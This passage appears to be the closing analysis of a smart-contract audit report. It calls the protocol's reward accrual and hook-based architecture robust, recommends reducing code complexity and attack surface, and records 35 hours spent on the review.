The reward accrual mechanism and overall hook-utilizing architecture appear to be robust. It may be possible to reduce complexity in the codebase to reduce risks of the protocol not functioning correctly. Finally, the codebase should be refactored to limit attack surface area wherever possible.

Time spent:

35 hours